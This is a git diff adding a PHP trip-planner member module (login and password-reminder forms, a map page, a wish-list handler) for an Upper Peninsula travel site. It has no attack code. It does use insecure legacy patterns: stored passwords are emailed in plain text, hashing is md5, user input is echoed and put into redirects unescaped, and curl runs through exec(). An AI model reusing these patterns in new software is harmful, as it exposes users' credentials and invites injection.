+        * 1800 = 30 min
+        * 3600 = 1 hr
+        *
+     * @var    integer
+     * @access protected
+     */
+       protected $idleTime = 1800;
+
+    /**
+     * Authentication options for storage driver
+        *
+        * This is setup here, so it can be overridden in subclasses and merged
+        * into existing authentication options.
+        *
+     * @var    array
+     * @access protected
+     */
+       protected $classOptions = array();
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     *
+     * Sets up the storage driver
+     *
+     * @param string  $storageDriver (optional)Type of the storage driver
+     * @param array   $options       (optional)Additional options for the
+        *                                                               storage driver
+     * @param string  $loginFunction (optional)Name of the function that
+        *                                                               creates the login form
+     * @param boolean $showLogin     (optional)Should the login form be
+        *                                                               displayed if neccessary?
+        *
+     * @return void
+     * @access public
+     */
+       public function __construct(
+        $storageDriver = 'DB',
+        array $options = array(),
+        $loginFunction = '',
+        $showLogin = true
+    ) {
+               //      These are the default options, they are defined here b/c
+               //      constants cannot be defined in the properites.
+               //      subclasses that define any of the same authOptions will overwrite
+               //      these when the options are merged.  ALSO, options passed in
+               //      via parameters will supercede/overwrite any of these authOptions
+               //      or subclass authOptions.
+               $defaultOptions = array(
+                       'dsn'                   => DSN,
+                       'table'                 => 'contact',
+                       'usernamecol'   => 'email',
+                       'passwordcol'   => 'password',
+                       'db_fields'             => array('id', 'fname', 'lname'),
+                       'cryptType'             => 'md5',
+               );
+
+               $authOptions = array_merge(
+            $defaultOptions,
+            $this->classOptions,
+            $options
+        );
+
+               parent::Auth($storageDriver, $authOptions, $loginFunction, $showLogin);
+       }
+
+       //      }}}
+
+       //      {{{     loginForm()
+
+    /**
+     * Function to set up the regular login form
+     *
+     * @param unknown $uname  Last attempted username
+     * @param unknown $status The authorization status
+     * @param unknown &$auth  The authentication object
+        *
+     * @return void
+     * @access public
+     */
+       protected function loginForm($uname = null, $status = null, &$auth = null)
+       {
+               $login =& new TripPlannerLoginForm('member_login',
+                                'post',
+                                BASE_URL . 'memberdb/index.php');
+        $login->setDbh(Toolkit_Database::getInstance());
+        $login->configureForm();
+        echo $login->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     passwordForm()
+
+    /**
+     * Function to set up the forgot password form
+     *
+     * @return void
+     * @access public
+     */
+       protected function passwordForm()
+       {
+               $pword =& new TripPlannerPasswordForm('member_password');
+        $pword->setDbh(Toolkit_Database::getInstance());
+        $pword->configureForm();
+               echo $pword->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     setIdle()
+
+    /**
+     * Set the maximum idle time
+     *
+     * @param integer $time time in seconds
+     * @param boolean $add  (optional)add time to current maximum idle time or not
+        *
+     * @return void
+     * @access public
+     */
+       public function setIdle($time = null, $add = false)
+       {
+               $time = is_null($time) ? $this->idleTime : $time;
+               parent::setIdle($time, $add);
+       }
+
+       //      }}}
+}
+
+/**
+ * Handles rendering and validating the member login form
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_FormBuilder
+ */
+class TripPlannerLoginForm extends Toolkit_FormBuilder
+{
+       //      {{{     properties
+
+    /**
+     * Custom rules to check for when validating the form
+        *
+     * @var    array
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Where to perform validation
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $validationType = 'client';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     *
+     * @param string  $formName    Form's name
+     * @param string  $method      (optional)Form's method defaults to 'POST'
+     * @param string  $action      (optional)Form's action
+     * @param string  $target      (optional)Form's target
+     * @param mixed   $attributes  (optional)Extra attributes for the <form> tag
+     * @param boolean $trackSubmit (optional)Whether to track if the form
+        *                                                         was submitted by adding a special hidden field
+        *
+     * @return void
+     * @access public
+     */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+       }
+
+       //      }}}
+
+       //      {{{     configureElements()
+
+    /**
+     * Sets up the elements to be configured for use with the form
+     *
+     * @return void
+     * @access protected
+     */
+       protected function configureElements()
+       {
+        $e = array();
+
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'formHdr',
+            'display' => Toolkit_Members_Admin_Controller::$listingType['singular'] . ' Login'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'username',
+            'display' => 'Username'
+        );
+               $e[] = array(
+            'type' => 'password',
+            'req' => true,
+            'name' => 'password',
+            'display' => 'Password'
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'doLogin',
+            'display' => 'Login now',
+            'opts' => array('id' => 'doLogin')
+        );
+               $e[] = array(
+            'type' => 'link',
+            'req' => false,
+            'name' => 'forgot',
+            'display' => 'Forgot your password? Click',
+            'opts' => BASE_URL . 'index.php?catid='.MEMBERS_CATEGORY.'&forgot=',
+            'att' => 'here'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Sets up the filters to be used with the form when submitted
+     *
+     * @return void
+     * @access protected
+     */
+       protected function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Helper method to setup form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Sets up required rules and extra defined rules for the form
+     *
+     * @return void
+     * @access protected
+     */
+       protected function configureRules()
+       {
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+    //  {{{ setDbh()
+
+    /**
+     * set the pdo to use for db calls
+     *
+     * @param PDO $pdo PHP Data Object to use
+     *
+     * @return void
+     * @access public
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Inject custom renderers into the forms elements for custom display
+     *
+     * @return void
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="form-warning-inside">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr><td colspan="2" class="member-login-forgot">{label} {element}</td></tr>', 'forgot');
+               $renderer->setElementTemplate('<tr><td colspan="2" align="center">{element}</td></tr>', 'doLogin');
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+    /**
+     * Returns an HTML version of the form
+     *
+     * @return string HTML version of the form
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       header('Location: ' . BASE_URL . 'memberdb/index.php');
+               } elseif ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHtml();
+               } else {
+                       if ($_GET['status']) {
+                               switch ($_GET['status']) {
+                               case -1 :
+                                       $error = 'Your session has exceeded the maximum idle time';
+                                       break;
+
+                               case -2 :
+                                       $error = 'Your session has expired.';
+                                       break;
+
+                               case -3 :
+                                       $error = 'Invalid username or password.';
+                                       break;
+
+                               case -4 :
+                                       //      This is primarily used for Development.
+                                       //      Users should never be presented with this error.
+                                       $error = 'Invalid Container';
+                                       break;
+
+                               case -5 :
+                                       //      This is only thrown if the advanced security system
+                                       //      has detected a breach into the system.
+                                       $error = 'The system has encountered an error. Reference code: -5';
+                                       break;
+                               }
+                               $output = "<div id=\"form-warning-top\">$error</div>";
+                       }
+                       $output .= parent::toHtml();
+               }
+
+               return $output;
+       }
+
+       //      }}}
+}
+
+/**
+ * Handles rendering and validating the member password form
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_FormBuilder
+ */
+class TripPlannerPasswordForm extends Toolkit_FormBuilder
+{
+       //      {{{     properties
+
+    /**
+     * Table to query when gathering information
+        *
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'member';
+
+    /**
+     * Custom defined rules to validate against when the form is submitted
+        *
+     * @var    array
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Where to perform validation
+        *
+     * @var    string
+     * @access protected
+     */
+       protected $validationType = 'client';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     *
+     * @param string  $formName    Form's name
+     * @param string  $method      (optional)Form's method defaults to 'POST'
+     * @param string  $action      (optional)Form's action
+     * @param string  $target      (optional)Form's target
+     * @param mixed   $attributes  (optional)Extra attributes for the <form> tag
+     * @param boolean $trackSubmit (optional)Whether to track if the form
+        *                                                         was submitted by adding a special hidden field
+        *
+     * @return void
+     * @access public
+     */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+       }
+
+       //      }}}
+
+       //      {{{     checkAddressExists()
+
+    /**
+     * Checks to see if the email address exists before allowing an email to go out
+     *
+     * @param string $value submitted email address
+        *
+     * @return boolean If the email address exists or not
+     * @access public
+     */
+       public function checkAddressExists($value)
+       {
+               try {
+                       $sql = "
+                SELECT count(*) AS total
+                  FROM {$this->tableName}
+                 WHERE member_contact_email = :mce";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mce', $value, PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('total', $exists);
+                       $stmt->fetch();
+
+                       return (bool) $exists;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     configureElements()
+
+    /**
+     * Sets up the elements to be configured for use with the form
+     *
+     * @return void
+     * @access protected
+     */
+       protected function configureElements()
+       {
+        $e = array();
+
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'formHdr',
+            'display' => 'Email Reminder'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'email',
+            'display' => 'Your Member Contact Email Address'
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit',
+            'display' => 'Send'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Sets up the filters to be used with the form when submitted
+     *
+     * @return void
+     * @access protected
+     */
+       protected function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Helper method to setup form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Sets up required rules and extra defined rules for the form
+     *
+     * @return void
+     * @access protected
+     */
+       protected function configureRules()
+       {
+        $r = array();
+
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Invalid Email Format!',
+            'type' => 'email',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Cannot locate email address!',
+            'type' => 'callback',
+            'format' => array(&$this,
+            'checkAddressExists'),
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+    //  {{{ setDbh()
+
+    /**
+     * set the pdo to use for db calls
+     *
+     * @param PDO $pdo PHP Data Object to use
+     *
+     * @return void
+     * @access public
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Inject custom renderers into the forms elements for custom display
+     *
+     * @return void
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="form-warning-inside">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr><td colspan="2" align="center">{element}</td></tr>', 'submit');
+       }
+
+       //      }}}
+
+       //      {{{     processData()
+
+    /**
+     * Processes the data submitted by the form
+     *
+        * Gets the login credentials for the matching email address and mails
+        * them to that email address
+     *
+     * @param array $values submitted form values
+        *
+     * @return boolean Result of mail
+     * @access protected
+     */
+       protected function processData($values)
+       {
+               try {
+                       $sql = "
+                SELECT member_login, member_passwd
+                  FROM {$this->tableName}
+                 WHERE member_contact_email = :mce";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mce', $values['email'], PDO::PARAM_STR);
+                       $stmt->execute();
+                       $row = $stmt->fetch();
+
+                       $htmlMsg
+                = "Here is your " . SITENAME . " password:<br><br>" .
+                                 "Login: {$row['member_login']}<br>" .
+                                 "Email: {$values['email']}<br>" .
+                                 "Password: {$row['member_passwd']}<br><br>";
+
+                       $msg
+                = "Here is your " . SITENAME . " password:\n\n" .
+                                 "Login: {$row['member_login']}\n" .
+                                 "Email: {$values['email']}\n" .
+                                 "Password: {$row['member_passwd']}";
+
+                       $crlf     = "\n";
+                       $mimeMail = new Mail_mime($crlf);
+                       $mimeMail->setFrom(SITENAME . ' <' . OWNER_EMAIL . '>');
+                       $mimeMail->setSubject('Your ' . SITENAME . ' Password');
+                       $mimeMail->setHTMLBody($htmlMsg);
+                       $mimeMail->setTXTBody($msg);
+
+                       $mail    =& Mail::factory('mail');
+                       $body    = $mimeMail->get();
+                       $headers = $mimeMail->headers($hdrs);
+
+                       $res = $mail->send($values['email'], $headers, $body);
+
+                       return PEAR::isError($res) ?
+                                       Toolkit_Common::handleError($res) :
+                                       $res;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handlError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+    /**
+     * Returns an HTML version of the form
+     *
+     * @return string HTML version of the form
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       if ($this->process(array(&$this, 'processData'))) {
+                               $url    = BASE_URL . 'index.php?catid=' . MEMBERS_CATEGORY;
+                               $e      =& $this->getElement('email');
+                               $email  = $e->getValue();
+                               $output
+                    = "<p>Your Login Information has been sent to $email</p>" .
+                                         "<p>Continue to <a href=\"$url\">Member Login</a></p>";
+                       } else {
+                               $output = '<p>Email address not found.</p>';
+                       }
+               } elseif ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHtml();
+               } else {
+                       $output .= parent::toHtml();
+               }
+
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/TripPlanner/helpme.html b/Toolkit/Members/TripPlanner/helpme.html
new file mode 100644 (file)
index 0000000..aebc3c1
--- /dev/null
@@ -0,0 +1,55 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+  <head>
+       <title>Help Me</title>
+<style type="text/css">
+<!-- 
+body {
+       padding: 10px;
+       font-family: arial, sans-serif;
+       font-size: 0.8em;
+} 
+li {
+       margin-top: 1em;
+}
+-->
+</style> 
+</head>
+  <body>
+<div id="wrapper">
+<!--   <h2>I want to Plan a trip to the U.P. - how do I get started?</h2> -->
+<p>
+This section has been designed to allow you to build your own itinerary including attractions, recreation 
+and places to stay in Michigan's Upper Peninsula. To get started, search for the recreation, attraction or 
+place to stay on our Web site. As you find items that may be of interest to you, simply click the "Add to 
+Trip Planner" icon on each business listing. Each item will then get added to your list. Once you have 
+completed adding items to your planner list, you may take the following actions:</p>
+
+
+
+<ol>
+       <li>Request Info<br>
+This action will send an email directly to each individual business using our "Send Me More Information" 
+form. For the attractions, recreation or places to stay you have added to your list that do not have an 
+email, you will be presented with the business name and their phone number. </li>
+
+<li>Print This List<br>
+You may print the full list of the items you have added to your travel planner, making it an easy reference 
+to the business name, address, phone number, email address and Web site.</li>
+
+<li>View Map<br>
+View all of the items you have added to your trip planner on an interactive map, allowing you to get 
+driving directions to each of those locations.
+</li>
+
+<li>
+Save your Trip Planner<br>
+Create an account and SAVE your list for future reference.
+</li>
+
+</ol>
+
+</div>
+  </body>
+</html>
diff --git a/Toolkit/Members/TripPlanner/login.php b/Toolkit/Members/TripPlanner/login.php
new file mode 100644 (file)
index 0000000..a3ea672
--- /dev/null
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * login.php
+ * 
+ * To login the front end user using the contact table
+ * with email as username and the password field using 
+ * a extended class from Auth in the PEAR library.
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: login.php,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link      <>
+ */
+$dont_include_functions = true;
+
+/**
+ * Description for require_once
+ */
+require_once '../../../setup.phtml';
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+$tripPlannerAuth =& new Toolkit_Members_TripPlanner_TripAuth(
+       'DB',
+       array(),
+       '',
+       false
+);
+$tripPlannerAuth->setIdle();
+$tripPlannerAuth->start();
+
+if (isset($_GET['logout'])) {
+       $tripPlannerAuth->logout();
+}
+
+if (!$tripPlannerAuth->checkAuth()) {
+       //      Manually adjust the authentication status for empty credentials
+       if (empty($_POST['username']) || empty($_POST['password'])) {
+               $status = -3;
+       }
+       $status = $tripPlannerAuth->getStatus();
+       header('Location: ' . BASE_URL . 'index.php?catid=' . MEMBER_SESSION_PAGE . '&status=' . $status);
+} else {
+    $sessionList = new Toolkit_Members_TripPlanner_Sessions(
+               Toolkit_Database::getInstance(),
+        &$tripPlannerAuth
+       );
+    $sessionList->retrieveList();
+    $sessionList->saveList();
+       header('Location: ' . BASE_URL . 'index.php?catid=' . MEMBER_SESSION_PAGE);
+}
+?>
diff --git a/Toolkit/Members/TripPlanner/tripPlannerMap.php b/Toolkit/Members/TripPlanner/tripPlannerMap.php
new file mode 100644 (file)
index 0000000..6048600
--- /dev/null
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Short description for file
+ *
+ * Long description (if any) ...
+ *
+ * PHP version 5
+ *
+ * The license text...
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: tripPlannerMap.php,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link      <>
+ */
+
+/**
+ * Description for require_once
+ */
+require_once '../../../setup.phtml';
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>The Official Travel Website for Michigan's Upper Peninsula</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta name="description" content="Michigan's Upper Peninsula.">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+<link rel="SHORTCUT ICON" href="<?php echo BASE_URL;?>favicon.ico">
+<script src="http://maps.google.com/maps?file=api&amp;v=2&amp;key=<?php echo GMAPS_API;?>" type="text/javascript"></script>
+<script type="text/javascript" src="<?php echo GLM_APP_BASE_URL;?>libjs/jquery-1.3.2.min.js" type="text/javascript"></script>
+<script type="text/javascript" src="<?php echo GLM_APP_BASE_URL;?>libjs/jquery.json-1.2.min.js" type="text/javascript"></script>
+<script type="text/javascript" src="<?php echo BASE_URL;?>Toolkit/Members/libjs/trip_planner.js" type="text/javascript"></script>
+</head>
+<body>
+<div id="map_canvas" style="width: 800px; height: 550px"></div>
+<?php
+try {
+    $members   = array_keys($_SESSION['wish_list']);
+    $memCoords = array();
+    $sql = "
+        SELECT m.*, s.state_abb, c.city_name
+          FROM member m
+           FULL JOIN state s USING (state_id)
+           FULL JOIN city c USING (city_id)
+         WHERE member_id = :mid";
+
+    $stmt = $dbh->prepare($sql);
+    foreach ($members as $i) {
+        $stmt->bindParam(':mid', $i, PDO::PARAM_INT);
+        $stmt->execute();
+        $row = $stmt->fetch(PDO::FETCH_ASSOC);
+        if (!empty($row['lat']) && !empty($row['lon'])) {
+            $memCoords[$i] = array(
+                'name' => $row['member_name'],
+                'street' => $row['street'],
+                'state' => $row['state_abb'],
+                'city' => $row['city_name'],
+                'zip' => $row['zip'],
+                'lat' => $row['lat'],
+                'lng' => $row['lon']
+            );
+        } elseif (!empty($row['state_abb']) &&
+                  !empty($row['city_name']) &&
+                  is_numeric($row['zip']) &&
+                  !empty($row['street'])) {
+
+            $api_key = GMAPS_API;
+            $addr    = $row['street'];
+            $zip     = $row['zip'];
+            $city    = $row['city_name'];
+            $state   = $row['state_abb'];
+            $url     = "http://maps.google.com/maps/geo?output=xml&oe=utf8&sensor=false&key=$api_key&q=";
+            $q       = "$addr, $city, $state, $zip";
+            $url    .= urlencode($q);
+
+            // Query Google for this location's longitude and latitude
+            $command = "/usr/bin/curl '$url'";
+            unset($output, $return);
+            exec($command, $output, $return);
+            if (preg_match_all("/<coordinates>(-?[0-9]{1,2}\.[0-9]+)\,(-?[0-9]{1,2}\.[0-9]+)\,0<\/coordinates>/", $output[13], $temp)) {
+                               if (isset($temp[1][1])) {
+                                       $lng = $temp[1][1];
+                                       $lat = $temp[2][1];
+                               } elseif (isset($temp[1][0])) {
+                                       $lng = $temp[1][0];
+                                       $lat = $temp[2][0];
+                               } else {
+                                       $lat = 'NULL';
+                                       $lng = 'NULL';
+                               }
+            } else {
+                $lat = null;
+                $lng = null;
+            }
+
+            if (!is_null($lat) && !is_null($lng)) {
+                $memCoords[$i] = array(
+                    'name' => $row['member_name'],
+                    'street' => $row['street'],
+                    'state' => $row['state_abb'],
+                    'city' => $row['city_name'],
+                    'zip' => $row['zip'],
+                    'lat' => $lat,
+                    'lng' => $lng,
+                );
+            }
+        }
+        if (!empty($row['logo'])) {
+            $memCoords[$i]['logo'] = $row['logo'];
+        }
+        if (!empty($row['member_contact_email'])) {
+            $memCoords[$i]['member_contact_email'] = $row['member_contact_email'];
+        }
+        if (!empty($row['url'])) {
+            $memCoords[$i]['url'] = $row['url'];
+        }
+    }
+    //  Get the bounds so we can set the map zoom level
+    $b = array(
+        'minLat' => 48.1953,
+        'maxLat' => 44.9547,
+        'minLng' => -90.5712,
+        'maxLng' => -83.2983,
+    );
+    foreach ($memCoords as $j) {
+        if ($j['lat']) {
+            if ($j['lat'] < $b['minLat']) {
+                $b['minLat'] = $j['lat'];
+            }
+            if ($j['lat'] > $b['maxLat']) {
+                $b['maxLat'] = $j['lat'];
+            }
+        }
+        if ($j['lng']) {
+            if ($j['lng'] < $b['minLng']) {
+                $b['minLng'] = $j['lng'];
+            }
+            if ($j['lng'] > $b['maxLng']) {
+                $b['maxLng'] = $j['lng'];
+            }
+        }
+    }
+} catch (PDOException $e) {
+    return Toolkit_Common::handleError($e);
+}
+?>
+<div id="members" style="display: none;">
+<?php echo json_encode($memCoords); ?>
+</div>
+<div id="bounds" style="display: none;">
+<?php
+echo json_encode($b); ?>
+</div>
+</body>
diff --git a/Toolkit/Members/TripPlanner/wish-list.php b/Toolkit/Members/TripPlanner/wish-list.php
new file mode 100755 (executable)
index 0000000..2b5dc75
--- /dev/null
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * wish-list.php
+ *
+ * for adding and removing members/businesses to a session
+ * storing their email addresses and names
+ *
+ * PHP versions 4 and 5
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: wish-list.php,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link      <>
+ */
+//die('<pre>'.print_r($_REQUEST, true).'</pre>');
+$dont_include_functions = true;
+/**
+ * requires setup.phtml
+ */
+require_once '../../../setup.phtml';
+
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+$tripPlannerAuth =& new Toolkit_Members_TripPlanner_TripAuth(
+       'DB',
+       array(),
+       '',
+       false
+);
+$tripPlannerAuth->setIdle();
+$tripPlannerAuth->start();
+$sessionList = new Toolkit_Members_TripPlanner_Sessions(
+       Toolkit_Database::getInstance(),
+       &$tripPlannerAuth
+);
+if ($_SESSION['wish_list'][$_REQUEST['member_id']]) {
+    $sessionList->removeRecord($_REQUEST['member_id']);
+    $add = false;
+} else {
+    $sessionList->addRecord($_REQUEST['member_id'], $_REQUEST['catid']);
+    $add = true;
+}
+
+//remove the email from GET array and goback to member detail page
+unset($_REQUEST['member_email']);
+if (is_array($_REQUEST)) {
+       foreach ($_REQUEST as $pname => $pval) {
+               if ($pval) {
+                       $param_part[] = $pname.'='.urlencode($pval);
+               }
+       }
+}
+if (is_array($param_part)) {
+       $params = implode("&", $param_part);
+}
+
+// need to make sure any GET parameter passed to this page get resent back
+$url = BASE_URL . "index.php?catid=".$_REQUEST['catid'];
+$url .= ($_REQUEST['detail']) ? "&member_id=" . $_REQUEST['member_id'] :'&_qf__SearchForm=';
+$url .= ($_REQUEST['search']) ? "&search=" . $_REQUEST['search'] :'';
+$url .= ($_REQUEST['business_name']) ?"&business_name=" . urlencode($_REQUEST['business_name']):'';
+$url .= ($_REQUEST['category_id']) ? "&category_id=" . $_REQUEST['category_id'] :'';
+$url .= ($_REQUEST['sub_category_id']) ? "&sub_category_id=" . $_REQUEST['sub_category_id'] :'';
+$url .= ($_REQUEST['region_id']) ? "&region_id=" . $_REQUEST['region_id'] :'';
+$url .= ($_REQUEST['city_id']) ? "&city_id=" . $_REQUEST['city_id'] :'';
+$url .= ($_REQUEST['page']) ? "&page=" . $_REQUEST['page'] :'';
+$url .= ($_REQUEST['cPage']) ? "&cPage=" . $_REQUEST['cPage'] :'';
+$url .= ($_REQUEST['alpha']) ? "&alpha=" . $_REQUEST['alpha'] :'';
+$url .= ($_REQUEST['pageOffset']) ? "&pageOffset=" . $_REQUEST['pageOffset'] :'';
+$url .= ($add == true) ? '&sessionAdd=1': '&sessionAdd=2';
+header("location: $url");
+exit();
+?>
diff --git a/Toolkit/Members/TripPlannerList.php b/Toolkit/Members/TripPlannerList.php
new file mode 100644 (file)
index 0000000..902675d
--- /dev/null
@@ -0,0 +1,431 @@
+<?php
+
+/**
+ * SessionController.php
+ * 
+ * PHP version 5
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: TripPlannerList.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   Release: @package_version@
+ * @link      <>
+ */
+class Toolkit_Members_TripPlannerList
+{
+    //    {{{    properties
+    
+
+    /**
+     * Description for public
+     * @var    string   
+     * @access protected
+     */
+    public $dbh;
+
+    /**
+     * Template directory for any templates
+     * @var    string   
+     * @access protected
+     */
+    protected $templatesDir = 'templates';
+
+    /**
+     * compile directory for flexy
+     * @var    string   
+     * @access protected
+     */
+    protected $compiledDir = 'compiled';
+
+    protected $plannerListPageId;
+    protected $plannerFormPageId;
+
+    //    }}}
+    // {{{ __construct()
+
+
+    /**
+     * class constructor
+     * 
+     * Only setup values need be done here
+     * any work need to be done within methods
+     * 
+     * @param object $pdo PDO reference
+     *                     
+     * @return void  
+     * @access public
+     */
+    function __construct($pdo)
+    {
+        $this->dbh = $pdo;
+        // These settings are used to override flexyOptions.
+        $this->templatesDir                   = dirname(__FILE__) . "/{$this->templatesDir}";
+        $this->compiledDir                    = dirname(__FILE__) .  "/{$this->compiledDir}";
+        $this->flexyConfig                    = $GLOBALS['flexyOptions'];
+        $this->flexyConfig['templateDir']     = $this->templatesDir;
+        $this->flexyConfig['compileDir']      = $this->compiledDir;
+        $this->pagerOptions['containerClass'] = 'pages';
+        $this->plannerListPageId = MEMBER_SESSION_PAGE;
+        $this->plannerFormPageId = MEMBER_SESSION_FORM;
+    }
+
+    // }}}
+       //      {{{ getAncestors()
+       
+       /**
+        * getAncestors:get the ancestors for this category
+        * 
+        * @param integer $catid catid
+        * @param integer $count starting counter
+        * 
+        * @return array 
+        * @access  public
+        */
+       function getAncestors($catid, $count = 0)
+       {
+        static $ancestors, $toolbox;
+        if (!$ancestors || $count == 0) {
+            $ancestors = array();
+        }
+        if (!$toolbox) {
